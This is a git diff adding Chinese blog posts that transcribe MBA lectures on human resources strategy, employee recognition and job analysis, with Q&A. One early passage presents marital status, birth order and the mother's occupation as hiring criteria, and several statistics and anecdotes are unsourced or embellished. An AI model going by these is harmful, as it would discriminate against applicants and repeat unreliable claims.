+ +5. 用户思维与数字化结合，创造由人工智能驱动的更加个性化、智能化的工作与管理情景。 + +6. 职场健康和员工福利，成为吸引人才的关键。 + +你们注意到没有，2016年底的时候，腾讯做了件什么事情？大家记得吗？那一年，它拿出市值15亿港币的股票，分给了全体腾讯员工，包括当年离职员工，平均每人6万港币。 + +7. 企业将更多采用多种用工方式，提高组织绩效，同时降低用工成本。 + +注意全员雇主时代已经到来，不是雇员时代，是雇主时代。雇佣关系在发生根本的变化。企业会面临多种用工方式。像很多香港的公司总部有一种人叫自雇人士，他们和企业是合作关系。企业给你建立一个平台，给你配备专业的秘书，配备办公环境，你可以去自己再雇人，然后他们和企业是合作关系，用工方式已经在发生各种变化。 + +8. 人力资源部门成为数字化和创新的推动者。 + +举个例子。传统的人力资源的工作，有种技术叫简历申请技术。它就是把个人的成长背景、成长经历、生活习惯，和将来可能产生的绩效建立一种数字关系，以期从一开始我们招聘当中就可以提高招聘的正确率和准确率。 + +比如说，你要招一个合格的管理人员，那么最好是已婚的，因为实际调研显示合格的管理人员中有80%是已婚的，未婚的比例就会降低，如果离婚丧偶的，这个比例就会更低。 + +![](/uploads/2018/10/30-04.png) + + +我们再看候选者的母亲，合格的成功者的母亲所处的工作概率最高的是一个普通的职员，排在第二位是家务劳动。 + +![](/uploads/2018/10/30-05.png) + +大家不要小看这个数字，大家知道国外很多知识女性，她们受到很良好的教育，但是大部分经历是相夫教子。像我的一个同学，他的夫人是博士毕业，读美国文学的，她从结婚后就没有工作，就是辅导两个孩子，当两孩子长大以后，她才开始做大量的社会工作。 + +我们接着看，合格的管理者当中，最好是长子或者长女，那么如果是独生子女，或是家里面最小的，这个概率会降低。 + +![](/uploads/2018/10/30-06.png) + +大家注意到，文化在这里面已经没有差异了，中西方其实均是如此。而这个例子说明的是其实人力资源早就在用数字在驱动，只不过今天我们要更加注重数字的应用，以及更关注以往忽略的东西。 + +下面，我们就发展趋势的几个重点再来阐述一下。 + +l 互联网及数字时代的管理特征 + +首先，我们要理解这个时代，也就是互联网及数字化时代的一些管理特征。这个时代的四个关键词是互联、互通、互惠、互动。 + +所谓互联是指开放的组织系统，组织呈现出了生态化，也就是生态型的组织，你的组织应当是具有生命的，会自己去生长和发展的，不是固化不变的。组织提供的是平台，支持和帮助员工成长，给员工赋能。 + +所谓互通是高效的沟通网络。当前市场和企业的发展瞬息万变，组织必须具备高效的沟通网络，才可以提高沟通和决策的效率。技术会改变生活，也在改变过往的沟通方式，更加高效的沟通网络已经成为企业战略思考和调整的重要支撑。 + +所谓互惠是企业与员工有更多的共享，更多的互惠互利。 + +所谓互动是创新的领袖驱动。就如前面所讲，领导者的成长才是企业的成长，领导的发展驱动了企业的发展。 + +我们可以看到传统的管理强调的是垂直、分工和精细。这种要求的背后是传统管理对权力、控制、服从和执行的看重。但是互联网和数字化时代的管理却发生了根本性转变，强调的是领导与员工之间的交互影响，权力驱动变为了数据智能驱动，组织也由传统的垂直型变为生态型，利益分配也更关注共享互惠。 + +这种转变的原因是传统的管理理念是员工的生存是依赖于企业成长的，而今天企业的成长是依赖于员工的价值创造。 + +l 新时代要求员工价值必须被认可 + +然后，也是因为这种转变，使员工的价值在今天必须得到承认。认可员工和员工被认可已经成为人力资源技术、思想和方法的核心指向。 + +什么叫员工认可？什么叫认可员工？早在2006年，美国薪酬协会就提出了总报酬模型。这也是因为他们发现仅靠薪酬是不能解决激励问题的。 + +![](/uploads/2018/10/30-07.png) + +所谓总报酬是指员工认为的所有重要的东西，都是总报酬，过去我们认为是工资、福利，其实还有其它因素。现在的年轻人更多地关注于什么？工作和生活的平衡，是否给予职业发展，是是否被认可。这三点恰恰是我们一直所忽略的。 + +![](/uploads/2018/10/30-08.png) + +我们可以看到，世界财富1000强的企业，有88%用了多种以上认可方案，有77%已经拥有了三个及以上的认可激励方案，有54%拥有部门级别的认可激励方案。认可的方法已经成为全球企业最普遍的管理方法，而我们又有多少呢？ + +我们接着看一项针对于中国企业家和管理者的调查。他们认为有64%中国企员工是不敬业的。他们认为有80%的核心人才流失不是薪酬问题。有36%的员工每年愿意减少30%的工作，而选择更快乐的工作。 + +我们接着看，什么叫数字驱动？研究表明，当员工的敬业度在49%-60%之间，股东收益率会提高9.1%，当员工的敬业度在60%-70%之间，股东收益率会提高24.2%。真正影响组织绩效的是员工的敬业度，不是考核，不是用张表就考就可以把企业的业绩带起来了。 + +那怎么提升员工的敬业度呢？福布斯杂志就得出结论，对员工敬业度的最大激励因素就是——认可我！ + +一项针对于全球的调查，大家看认可文化强的公司，员工敬业度是78%，而认可文化弱的公司，员工敬业度才只有34%。 + +我们的企业为什么员工不好管？员工流动性大、组织没有绩效，你觉得是因为敬业度的问题，其实背后是你企业的认可文化的问题。 + +所以，我希望大家更多地关注于文化的影响。我们接着看一项全球的调查，受到认可的员工有71%的员工敬业度会提高两倍。换句话说，他们会两倍努力来完成组织的任务。有53%的员工，他会产生更好地工作的想法。而92%的员工在迫切地期待下一次被认可，这就是员工最深的期待。 + +你们必须要注意，管理人要高度地关注于人性的特点。认可员工这件事情很难么？怎么做到呢？ + +如果大家有兴趣的话，晚上没事的时候可以上一个小的工具，叫微认可。我们看到，打开这样一个公众号，里面有工作圈，注意所有的信息这都呈现，那么其实这就是用数字来把握员工动向，最终它也能代替传统考核了。 + +![](/uploads/2018/10/30-09.png) + +比如说什么叫文化认可？当员工的行为发生的是积极的，你企业所倡导的，那就给他一个积分，这也类似于我们常说的积分管理。 + +大家可能会觉得这就像小孩在幼儿园带小红花一样幼稚。但是小孩高兴不高兴？员工带红花高兴不高兴？当然高兴！ + +再举个例子，你每天在朋友圈里面发表观点或者转发文章。你最希望你的朋友们做什么？点赞！那就是认可，这是人性的特点。 + +同理，业绩认可，你做的好了，也给你积分。 + +员工关怀呢？员工过生日了，他的小孩获奖了，也可以给他个积分。那么遇到有难题了，我们可以在里面悬赏，谁帮助解决了，给他积分。 + +最后这些积分都可以和员工的福利关联在一起。 + +这种方式还可以让你从数据积分上了解到员工是否可能要产生流动，这时候就更让你去关注这个员工的改善、提高和指导，防患于未然。 + +数字驱动的管理并没有想象中那么复杂，重要的是不要光说，而是做。 + +你们需要做的就是把自己公司认可的东西具象化出来，写不出来，形成可以参照的标准。像科勒公司提出的4C精神，把这种标准放到数据库里，只要有员工发生符合4C精神的行为，就能获得积分。 + +![](/uploads/2018/10/30-10.png) + +再比说东阿阿胶提出的10项倡导行为，也可以放在数据库里面，只要行为发生以后，就是积分。这种方式甚至能够代替传统考核。 + +![](/uploads/2018/10/30-11.png) + +佩奇说过一句话，“你只需要想象，技术会把想象变为现实，将持续地改变和影响你的生活”。今天，技术已经到来，也会根本地改变我们传统的管理方式。 + +基于互联网和数字化时代的管理特征，加之基于新时代人力资源管理需要具备对员工价值认可的要求。 + +l 生态型组织的的管理突破与成长路径 + +生态型组织应运而生。生态型组织强调的就是： +1. 分享。利益相关者的价值分享； +2. 创造。组织应当关注为员工、供应商和客户创造价值； +3. 无边界。组织是无边界的，产品也是无边界的； +4. 价值链。多层级价值链条的打造，寻求企业、员工、供应商、客户的价值一致性。 + +作为领导者，你必须思考新时代、新技术的应用会带来的影响。技术变革对管理的影响会成为管理的瓶颈，也会成为管理的突破。云计算、大数据、移动互联、人工智能会引发管理的突破。而这种管理突破的前提之一就是领导者要对新技术有掌握和应用。通过新技术的应用来进行相关数据分析，以支持战略决策和管理实施。 + +在新时代新技术的应用下，传统组织无论在领导力、人力资源、产品、技术、供应链、价值链上也就会发生根本的变化，最终迭代为新的组织，就是生态型组织。而这个组织更多地强调的是组织能力。 + +那么如何增强我们的组织能力呢？这里给出一个生态型组织发展的成长路径。我刚才讲，人力资源到今天这个阶段，要解决三个问题：领导力、文化和人才。 + +![](/uploads/2018/10/30-12.png) + +首先，如果要增强组织能力，就要以领导者个人魅力为出发点。领导力真正关键的点其实只有两个因素，情绪和勇气。 + +什么意思呢？当你遇到困境的时候，不要发脾气，要会控制情绪。大家可以看到今天我们的领导、管理者、老板遇到问题就要发脾气，这不对，这会对组织造成很大的负面影响。当需要解决问题的时候，遇到挫折的时候更要勇气去承担责任。情绪和勇气最终决定了你领导力的成长。 + +然后，基于领导者人格魅力、个人素质，创建共享、创新的企业文化。基于共同的企业文化，再来建立有共同价值观的人才队伍。做企业看的是文化，用人看的是价值观，这句话请各位铭记。 + +最后，形成企业成长的基因，形成组织能力，来推动企业成长。 + +总结一下，就是要以领袖驱动的企业文化，构建具有共同价值观的人才队伍，增强组织能力，从而支持企业成长。这里我们一定要注意，生态型组织不再是雇员顺应组织的需求，而是组织必须了解雇员的需求，因为现在组织需要依赖于成员才可以创造价值。组织与成员的关系不再是权力的服从，而是一种平等、合作、共享的关系。只有这样才会有价值创造！ + +为什么这么说呢？因为传统的组织关系会扼杀组织创造力和创新能力的发挥。 + +我们老谈创新，什么是创新？凯文·凯利先生，《连线》杂志主编，未来学者。他说中国社会之所以不能够产生创新，有两个根本因素： + +第一，不允许犯错。 +第二，不允许挑战权威。 + +这是今天中国扼杀创新的根本原因。再说一遍，不允许犯错，不允许挑战权威。 + +举个例子，假设你的孩子在班里参加考试，50多个孩子，49个得100的，你的孩子得了98。你会有什么反映，把它吃了，对吧？ + +再举个例子，英国的考试答对7-8题和10道题全部答对的分数是一样的，都是A。它给你空间让你去思考，它允许你有犯错的空间，然后再去思考。 + +l 创新型生态组织的五要素模型 + +那么对于新时期的创新生态型组织，我提出了人力资源发展的五要素模型。 + +![](/uploads/2018/10/30-13.png) + +它是以人力资源作为核心，通过组织锻造，产生组织能力来推动企业成长。注意人力资源现在更多的强调是组织能力，而不是人本身。那么这个组织能力锻造的过程，就包含了极为重要的五个要素： + +第一，以工业技术为基础。 + +我们看华为手机，它之所以有这么好的品质，一是它花钱买来全球顶尖的工业技术基础，开最好的模具。 + +第二，以知识学术为支撑。 + +华为的手机虽然品质很好，但是在用户体验上比苹果还是有差距。这种差距的背后是无数细节堆叠起来的，是需要知识和学术的沉淀来支撑的。 + +第三，以企业文化为核心。 + +谷歌推崇的是工程师文化，而华为也是希望将技术作为文化的核心。 + +第四，以领袖魅力为驱动。 + +我们知道失去了乔布斯的苹果，就失去创新。华为现在把轮值CEO改成轮值董事长，华为也在考虑继承问题了。那么我们想如果任先生离开了华为，华为又会如何呢？ + +第五，以创新思维为主导。 + +2015年全球创新百强企业，华为退出后，中国没有一家企业入围。那个时候正好是华为进入到C端做手机，分散了很多精力。如果它不能坚持创新思维，最后它一定会像近几年的苹果一样，失去对创新的主导，不再有革命性的产品的出现。 + +上述五个要素是对组织能力的要求，也是对组织能力的锻造，这就是新时期人力资源的根本变化，强调组织能力、发育人力资源。那么最终是以一种新的思维来驱动组织成长，这也是人力资源发展的新的趋势。 + +好了，我们总结一下第一节课讲的内容。 + +首先，新时代人力资源行业的核心命题有领导力、文化和人才。这个时代是领袖驱动时代，企业家的成长才是企业的成长。 + +同时，我们需要更多地关注于文化驱动对组织成长的作用。 + +另外，人才的能力已经转化为组织能力，需要让组织提升创新能力以获得企业的发展。 + +最后，这一切又离不开领导者为组织的成长所注入的基因。 + +举个小例子，佩奇小时候看过篇文章，主角叫特斯拉，交流电的发明人，一个比爱迪生更伟大的科学家，他曾是爱迪生的助手。有一天爱迪生遇到一个技术难题，跟他的助手说，你们谁能解决？我将给你们5万美金的奖励。 100年前的5万美金是天文数字。天才的特斯拉轻易解决了，可是爱迪生只给他涨了10美金的工资。而且这个伟大的天才的后半生还一直遭受爱迪生的打压，特斯拉最后贫困潦倒而死。 + +12岁的佩奇，看了这篇报告文学，泪流满面，那一刻他知道他要做什么，他说我要用技术改变世界，并且使之商业化，让人类的生活得到彻底的改变。这也是今天伟大的谷歌的成长基因。 + +但是佩奇是个天才，天才不容易与人相处，在资本眼里不是企业管理的合格人选。于是资本请来施密特掌舵谷歌，10年间施密特确实让谷歌得到迅速的发展。但是10年以后，佩奇发现长大的谷歌，官僚丛生、互相争斗、不求创新。 + +于是长大的佩奇决心重整谷歌，不忘初心，改变世界。他崇尚工程师文化，拒绝官僚，一个伟大的谷歌从此呈现在我们面前。 + +新的时代，搭建创新型组织，需要你坚持梦想，需要你从一开始就具备价值观正确的基因，以工业技术为基础，以知识学术为支撑，以领袖魅力为驱动，以企业文化为核心，以创新思维为主导，从而锻造组织能力，以获取领导者自身的成长，也是你企业的成长。 + +问答 + +问题1：如何构建合理的薪酬制度，能让员工自我激励，自我学习？ + +许玉林：首先大家应该知道，薪酬首先解决的是公平问题。所以不要把给薪酬和激励连在一起。课堂上讲过了，美国薪酬协会提出来总报酬模型，其实就是解决激励问题的。它要一整套方法。举个例子，有个研究激励的学者叫赫斯伯格。他说激励有两个因素，一个是保健因素，一个是激励因素。有的因素即使给付充足了，它可能既没有起到满意，也没有起到不满意的作用。比如像我们在学校里当老师，其实在学校的收入是比较低的，比如说一个月一万块钱，你不满意，涨到5万，你会满意吗？那么这个时候它既没有满意也没有不满意，说明市场上我值这个钱，我是劳动力，它自有价格。但如果你给到15万，那肯定起激励作用。我们说过薪酬首先解决的是公平问题，然后才解决激励问题。 + +问题2：人的作用越来越大，如何让员工全力以赴的投入到工作当中？ + +许玉林：记住一句话，做企业看的是文化，用人是看的是价值观。杰克·韦尔奇（GE前CEO）选择接班人的例子也许我们能够借鉴。韦尔奇选接班人过程中，他提出一个模型，一个是绩效，一个是价值观其实就是文化。 + +![](/uploads/2018/10/30-14.png) + +他把两个纬度分四个象限： + +一个是绩效做的好的，又接受我价值观的，这是我企业所需要的人。 + +一类是绩效做的不好同时又认同我价值观的，他说企业将给你第二次机会。用人，能力和道德用哪项，道德。 + +如果你业绩做的不好又不接受文化，他说这些人将被淘汰掉。 + +还有一类人有业绩但是不接受价值观的，他说这种人将破坏你的文化，他在组织时间越长对组织的破坏作用越大，因此这些人也要走人。而我们小企业用人急功近利，当你用它能力的时候，德行不好最后破坏的是文化。 + +如果你一定让我回答的话，德行、能力，用德行，不用能力，就这么简单。 + +问题3：关键性人才流失非常严重，如何管理、培养和留住关键性人才？ + +许玉林：有一句话叫员工和企业共同成长，这句话对吗，不对的。因为企业不可能给每个员工各自足够的发展空间。因此必须首先关注关键岗位的那些留用问题。你需要对这些关键岗位员工实行特殊福利计划。一般的岗位叫普惠，关键岗位就需要特殊福利计划，包括我们说的股权、分享、福利，这些是关注于关键岗位的，你必须把他们单列出来。 + +另外，对关键岗位也要实行员工成长计划。一个企业当中如果有足够的关键人才的话，其实不叫员工职业发展，叫成长机制。这就要做人力资源规划了。 + +你们企业多大规模？（学员答：不到100人）那这个时候我不建议企业做培训培养计划，因为成本太高了。举个例子，当年伊利产值4亿的时候，潘刚（伊利集团董事长）当时跟我说他想学习，他让我跟他们老板提让他去学习的事儿，那时候他是事业部经理。我说我不跟老板说，我是老板我也不送你出去，为什么，我现在用人之际，让你出去学习去？你成长了，能力强了，市场价格提高了，最后给你送走了，所以先让他们在企业成长。 + +问题3：从HR角度如何帮助家族企业做组织变革，该从何处着手？ + +许玉林：我劝你别去，这种企业我见的特别多。如果你去了，你就跟老板说一句话：企业的发展不可能靠同一批人完成企业成长的使命。 + +这是民营企业普遍的一个问题。所以你告诉老板，企业发展过去靠这批人，现在要靠一些新的人了。怎么样解决这个问题呢？一句话，把这些人从组织当中把它分离开来，让他们安全落地，同时给他们时间让他们把新人带起来，不是让他们走人。制度、金钱、时间，三位一体来赎买你老板的道德。 + +这是你到那个企业要面临的问题，这种企业太多了。你要说服那个老板，我们企业要解决人的问题了，有些人该做退出机制了。很多企业给股权的目的是干什么，是激励？责任？权力？利益？如果这些人跟不上企业发展了，其实给股权实际上是退出而不是激励。给你股权的目的不是让你干活，而是让你不干活，最怕笨人还努力工作。 + diff --git a/_posts/2018-10-30-306-xyl02.md b/_posts/2018-10-30-306-xyl02.md new file mode 100644 index 0000000..da4a5fd --- /dev/null +++ b/_posts/2018-10-30-306-xyl02.md @@ -0,0 +1,446 @@ +--- +layout: post +title: 【人力资源管理模块】 第2节 人力资源管理的战略思考 +pid: 306 +tags: [mba] +--- + +人力资源管理模块 专题二 + +人力资源全景视角——战略思考 + +我要讲的第二个专题是人力资源的战略思考。人力资源现在属于战略行为，人力资源的各种技术、方法必须用于支持企业战略的实现。 + +人力资源管理的战略思考 + +首先，我们要正本清源，战略性思考其实是人力资源制度式的前提，或者构建的前提。因为理性在现实面前有时候显的非常无奈。 + +记得有一次电视台请我去，除了我之外，还请了北京市中小企业的会长和副会长，跟各位一样做企业的。还请了北京市劳动局法务处的老处长，那个老处长对劳动法特别熟，倒着背都行。还请了北京一个著名律师，还有几名其他的专家。电视台这么做节目是什么意思啊？就是希望节目现场企业有什么问题，这些专家全都给你解决了。同学们，哪儿那么简单啊！专家们真有这种效果的话，还要你们这些企业家干什么呀？老师们出本经验集就完了。 + +那个会长现场就说，正好我这有点事，3位专家帮我解决一下。 + +他的企业是个外向型企业，经常有机会把员工送到国外去培训。他前段时间刚有一批员工培训完回来了。但是，其中有一个女孩刚回来就要离职，他也不知道怎么办。那位老处长说当初你送她去培训，跟她签了培训合同没有。他说签了，但是我签了又怎样？ + +咱们暂且不说这个制度追诉的成本有多高，就是这个员工赔了钱，这个钱企业拿到手了，这个员工也还是走了啊。 + +各位，这样做对我们企业有意义吗？没意义。你唯一的结果还是给你干活儿的人没了。所以理性在现实面前有时显的非常的无奈。 + +然后他们说许老师您是人力资源管理专家，您给出个招儿吧。 + +我说，这样吧，我们换个思路，我给你一个建议。我建议你这样去做，开一个全体员工大会，这个会主题就是欢送这位员工，要告诉所有员工她服务于我的企业，她的成长得益于企业给她支持帮助，当然她自己也非常努力，今天她能力提高了，长成了要走了。 + +虽然制度要制定，制度要执行，就是按照制度这个款罚了，这个钱拿到手了，这个员工也走了，你突然发觉这个结果和我们的实际目的是不一致的。你该苦恼的已经不是她走不走的问题，而应该是为什么我的企业培养出的员工，我不能给她建立个发展的平台？ + +人往高处走，水往低处流，知道留不住人了，罚金拿了也没意义。倒不如把这笔钱作为对这个员工的最后一次奖励，奖励她什么？奖励她的成长，奖励她的努力，同时，也希望她有一个更好的未来。 + +大家想了没有，如果这样做的话，这将是一个什么样的结果，什么结果？不走了？那是不可能的，走还是要走的。 + +我没那么急功近利，用这点小伎俩来挽留决心要走的员工。那我在干什么？我在基于未来思考。注意我引出来的话题，什么叫战略，战略思考就是基于未来的思考。 + +我这么做的目的是什么呢？我是要通过我的投入来沉淀员工对企业的情感，增加他们转移的成本，这才叫做以人为中心的管理。 + +![](/uploads/2018/10/30-15.png) + +这个词我已经20多年没有用了，但这些年用上了，当年讲这门课，上来第一句话就问大家人力资源管理解决什么问题，因为那时候我们还要讨论人事管理和人力管理区别，上来第一句话就是强调以人为中心的管理。那个时候大家对这句话几乎很少有真正的理解，包括我们自己，好像这个以人为中心管理，就是强调员工的价值，让他们高兴，其实那是最低层面的。 + +以人为中心管理，实际上是要求我们在实行管理当中必须高度的关注于人性的特点。只有把握了人性的特点，你才把握了管理的原则，有了原则就有了思想，有了思想就有了方法。所以，我反复强调思想就是方法。 + +那么，我们应当可以达成一些共识了，战略性的思考有两条： +一、基于未来的。 +二、基于人性的。 + +![](/uploads/2018/10/30-16.png) + +过去我们总是基于理性的、基于现实的去思考问题，但在现实面前这种思考有时显的非常的无奈。因为人是感性的东西，所以人性是人力资源里的又一个核心命题。其实有时候我们并不知道我们想要什么，我们想A，其结果是B。人性是个哲学的命题，因为人力资源必须有哲学的思考。 + +那什么叫A？什么叫B？举个关于爱情的例子，你们可能更好理解一些。 + +我们做个互动，以下选择全部是2选1，分男生和女生。 + +先问男生第一个问题：你希望自己成为刘邦还是项羽？ + +想当刘邦的男生请举手。好了，大概率是男生想当刘邦的会多于相当项羽的。 + +再问女生第一个问题：你希望自己成为吕后还是虞姬？ + +想当吕后的女生请举手。好了，大概率是女生想当虞姬的会多余吕后，当然这也有地区差异，比如东北女生想当吕后多，比如说湖南女生想当吕后多，这是文化所决定的。 + +问男生第二个问题：你希望你的下属是刘邦还是项羽？ + +好了，大概率是希望下属是项羽而不是刘邦。如果我想当刘邦，你是我的下属，我知道你想当刘邦，小子，你死定了。 + +问女生第二个问题：你希望自己嫁给刘邦还是嫁给项羽？ + +想嫁给刘邦的女生，请举手。之前选了要做吕后的姑娘，你必须嫁给刘邦，你不能再选项羽啦，你不能这么快改嫁。 + +事实就是这样，我们太容易改变自己，我们根本就不知道自己想要什么。给各位有女儿的，没有嫁的女生一句忠告，做女人不能当吕后，更不能嫁给刘邦，那绝对不是女人的生活。这个地球之所以有故事，是因为有了爱情。 + +你们认为什么叫爱情？告诉你们什么叫爱情吧，特别简单，就是你想找一个你喜欢他，他也喜欢你的人。最后也没找着，还发生了很多事儿，出了很多故事，这就叫爱情。爱情的典范是谁啊？就是项羽和虞姬，女生要嫁就嫁给项羽，因为项羽作为男人一辈子只爱了一个女人。 + +问一下各位男生，你们只爱过一个女生的，请举手。算了，别举了，这问题就当我没问过。男人要娶就娶虞姬，因为虞姬是为爱而死的。 + +回到主题，总结一下。这里我们形成了共识，战略性的思考，需要基于未来，基于人性。事情就这么简单，没那么复杂，你把它还原了，回归事情的本质，你才能明白自己真正想要的是什么。也是基于此，我们需要能够分辨出真伪命题。 + +人力资源管理的真伪命题 + +现在人在思考问题的时候，经常会被经验所束缚。尤其是在我们这个充满了新词汇的时代，出现了一大堆所谓的新时代管理思维，好像只有新时代的企业才具备这样的管理思维，才具备这样的管理能力。那么我们来看看下面这些伪命题，看看这些新的管理思维究竟新不新，究竟是不是真的只在新时代的企业当中才存在？ + +1. 创新驱动：哪个时代不是靠创新思维发展的？ + +2. 平台共享：各种组织形式本身就是平台。记得当年张瑞敏做海尔的时候说过一句话，他说选马不如赛马。因为张瑞敏他明白要让一个企业得到迅速的发展，海尔就是平台，让平台里的各个事业部在市场上见。 + +3. 去中心化：必须有了新的中心，才能去中心，或者说去中心就是产生新中心的过程。 + +4. 数字驱动：我们过去把这个叫统计，只不过今天因为技术的发展，使我们能够更加关注数据的应用，数据流动起来才有价值。 + +5. 利益分享：我们的老祖宗早就告诉过我们，财散人才聚。 + +6. 价值创造：没有价值，客户怎么接受？ + +7. 客户体验：这更是伪命题。为什么？我们做个餐馆，还讲色香味俱全。 + +8. 互联网产品专注极致：这更是伪命题。工匠精神就是专注极致啊！ + +举个例子，喜欢摄影的同学，你们手里的相机最高有多少像素？哦，佳能S2，5500万像素。你这还不是高的。最高的其实有两款相机，1亿像素，第一款是飞思，第二款是哈苏。飞思这个企业是1995年在丹麦创立的，这家企业几十年如一日，只做数码后背，不做镜头，请问这算不算专注，算不算极致？算。请问那时候跟互联网有关系吗？没关系。 + +这些伪命题会给我们耳目一新的感觉只是因为我们对事物理解不够。所以我们上来要正本清源，要能辨别真伪命题，这是管理的本质。 + +人力资源管理到底管什么 + +问大家个问题，人力资源是管什么的呀？管人的？仅仅是管人的吗？ + +如果我说外企员工比咱国企或民营企业能力强，素质高，你们同意吗？你们摇头了，不同意。 + +那我再反着问，咱比他们强你同意吗？你们又摇头了，你们居然摇两次头！这头你只能摇一次。 + +不管你同意不同意，反正总有人说外企员工比咱国企业或者民营企业员工能力强、素质高。其实，我的观点和你们观点一样，我从来不认为他们比咱们能力强、素质高。但是，为什么显的他们比咱们能力强、素质高？注意我用了一个“显”字，告诉我为什么？制度，还有什么？管理。还有什么？文化。 + +我发觉你们越来越像教授，只要问你们问题的原因，你们马上就说这是制度问题、管理问题、体制问题这种大词儿。能不能精确点？能不能更加本质一些？ + +究其原因，其实很简单，他们之所以显得能力强、素质高，是得益于一种制度设计的优势。那什么是制度设计的优势？我来举个例子。 + +如果今天各位同学你们到麦当劳去应聘，你应聘的工作是一个卫生的保洁员，工作的任务是保持大堂的清洁。请问你对这项工作的内容是否清楚了？就这一个简单的保持大堂的清洁的工作要求，你一定不清楚。 + +你们可能会说这无非就是个岗位职责和规范明确的问题嘛，这么简单的问题不需要再讨论了。各位同学你们从事管理这么多年，还一直在读书、听课。但是，我们老说我们自己的管理水平要向人家学习，我可以很负责地告诉大家，你们从来没有真正理解过，我们比他们低在什么地方？我们向人家学，到底应该学什么？   + +![](/uploads/2018/10/30-17.png) + +![](/uploads/2018/10/30-18.png) + +我们看看麦当劳是怎么做的。这里是一个麦当劳的店铺检查表，保持大堂的清洁部分的规章。你只说要保持大堂清洁，这个要求根本就不清楚。因此要把它说清楚，那什么叫说清楚？ + +麦当劳把这项工作分解成15项工作内容。各位，麦当劳把这个工作已经分解成了15项内容了！这回你觉得工作职责清楚了没有？但是我们不都觉得老外特傻嘛，他们就认为还没有说清楚。 + +他们怎么继续把这个事儿说清楚？大家看这里有个第五项，叫做检查桌椅，包括儿童椅。你说这不废话吗？用说的这么细致吗？那麦当劳为什么要特别强调儿童椅呢？其实麦当劳是就是要告诉员工，你不但要保持客人经常使用的普通桌椅的清洁，那些不经常使用的儿童椅的清洁也必须要保持。 + +老外之所以会这么笨，但是又比我们挣得多，狭义来讲，他们就是做好了这么一件事儿，就是把工作内容说清楚。 + +我们接着看，检查表里还说了要查看“是否底面清洁”，“请多留意缝隙、桌脚、凳脚等是否需要保养”。各位，如果这些地方都干净了，这桌子它能不干净吗？ + +我们再看，“桌椅是否用不同抹布在清理”。你看我们很多餐厅的服务员，手里拿块抹布，逮哪擦哪，桌子一下，凳子一下。 + +有一次我在一家五星级酒店的西餐厅准备吃饭。他们把餐具整齐的放在了印刷精美、材料坚固、十分漂亮的菜单上。我叫那服务员， + +问她：“餐具呢？” +她说：“这不是吗？” +我说：“这是餐具啊？” +她说：“啊。” +我说：“这东西能使吗？” +服务员说：“先生您放心，我们是五星级酒店，我们都消过两次毒。” +我说：“不用了姑娘，我知道消过毒了。我问的是这个放餐具的菜单消毒了吗？” + +大家想过没有，消毒的餐具放在一个多次使用的菜单上。这份菜单他们大概率会消毒吗？他们大概率应该就是用抹布查一下吧！ + +所以，管理是什么？管理是一种修养，是一种习惯。我们的修养是能力和人格体现，我们的习惯反映出我们过往的生活和工作方式。 + +![](/uploads/2018/10/30-19.png) + +各位同学这回清楚了吧？为什么显的外企素质高？不是他们素质高，是因为在外企，他们首先做的第一项工作就是要把一个复杂的工作分解成最基本的单元，并说明工作要求。什么叫复杂的工作？在我们中国人眼里，保持大堂的清洁算复杂的工作吗？谁还不知道怎么保持大堂清洁吗？但是在老外眼里，这是一项最复杂的工作，人家把这个复杂的工作，尽可能分解成最简单的工作单元之后，对人的要求降低了。当你在做一个看似繁琐的工作，但是你还拥有很高的效率的时候，自然就显得你的素质高了！ + +> 这项工作就叫做组织与工作系统研究，这是我们人力资源里面最基本的命题。因此，大家注意人力资源首先不是管人的，首先是对组织与工作系统研究。 + +![](/uploads/2018/10/30-20.png) + +注意人力资源管理两条主线，第一条主线是对组织与工作系统研究。第二条主线是才是研究人，需要遵守的一个原则叫人与工作匹配的原则。再说一遍，人力资源里两条主线，第一条主线是对组织与工作系统的研究，第二条主线才是研究人，一个原则，叫人与工作匹配的原则。既然是人与工作的匹配，严格说是工作在先，人的认识在后。 + +人力资源管的四个阶段 + +人力资源的发展，经历过四个发展时期。 + +第一个阶段，人事管理，解决的是事务性问题。什么叫事务性问题？员工的吃、喝、档案，包括信息化管理都是。大家不要以为我们企业上了ERP了，办公自动化了，那就属于先进的阶段了，那仍旧属于人事管理范畴。 + +第二个阶段，人力资源开始解决的是技术问题。所谓技术问题就是六大模块（人力资源规划、招聘与配置、培训与开发、绩效管理、薪酬与福利、劳动关系）。但是在解决技术问题的过程中，首先我们要解决的是认识问题，认识到了，才能做好六大模块。我反复强调的人与工作的匹配，就是一个认识的问题。 + +我相信各位同学听课到这里，你们已经开始跟我进入了专业性的思考。但是请记住，专业性可不是靠理论来体现的。管理就从来没有理论，你知道就叫做实践，不知道就叫做理论。只有有了正确的认识，方法才能有效。 + +第三个阶段，就是战略性人力资源。战略性是指今天企业各项人力的技术决策方法必须用于支持企业战略目标实践。 + +怎么理解？举个例子：假设我们企业总部在北京，上海分公司销售额8000万，乌鲁木齐分公司销售额800万。请问，你怎么给两个分公司做评价，谁做的更好？ + +如果你随便回答我，就一定是错的，为什么呢？因为你必须研究这个公司的战略，如果公司战略就是占领沿海经济发展地区中心城市，以业绩为导向，无疑谁卖的多，就拿得多。 + +如果战略上认为乌鲁木齐是一个非常重的待开发市场，那会出现什么情况？乌鲁木齐虽然卖得比上海少，但奖金可能和上海拿得一样多。为什么？因为上海很可能是一个成熟的时长，而面对一个待开发的市场，像乌鲁木齐，对员工能力、努力的要求都会更高。 + +今天到了战略性人力资源的阶段，人力资源管理发生了根本变化。它表现的非常明显的特征就是人力资源部在集团内部，在组织中它的战略地位在上升，但是它的管理责任在下移。什么意思，许多传统是应该由人力资源部完成工作，已经被分解到各级直线经理人身上，比如招聘。 + +招聘咱们企业哪个部门负责？人力资源部。但是如果人力部门和用人部门在决策上发生了冲突，请问，决策权在谁？用人部门。为什么？我（人力）说行，你说（业务）不行，就是行也不行，你不用他（招聘对象）。我（人力）说不行，你（业务）说行，不行也行，你用他。那我们（人力部门）干什么，减少你（业务部门）搜索所需要人力资源的搜索成本，但是决策权在你。 + +请问同学们，工作分析应当由谁来做，部门职责、岗位要求应该由谁来写。人力资源部门是写不出软件工程师干什么的，只有直线经理能写，他才知道这个岗位干什么。 + +考核又应该由企业哪个部门负责？人力资源部是负责不了考核的，考核是直线经理人不可推卸的责任。你的员工向你负责，他有问题，你要负责改善指导。那人力资源部干什么？应当是建立起考核的体系，教给你方法，监督执行，具体考核工作由业务部门来做。 + +所以，今天人力资源部门要扮演三个角色。 + +第一：工程师。所谓工程师是指要懂得各种人力资源相关的技术和方法。 + +第二：销售员。这个销售员是反向销售的。企业有产品卖给客户，而人力部门是从市场买来人力资源和管理技术用于业务部门消费。 + 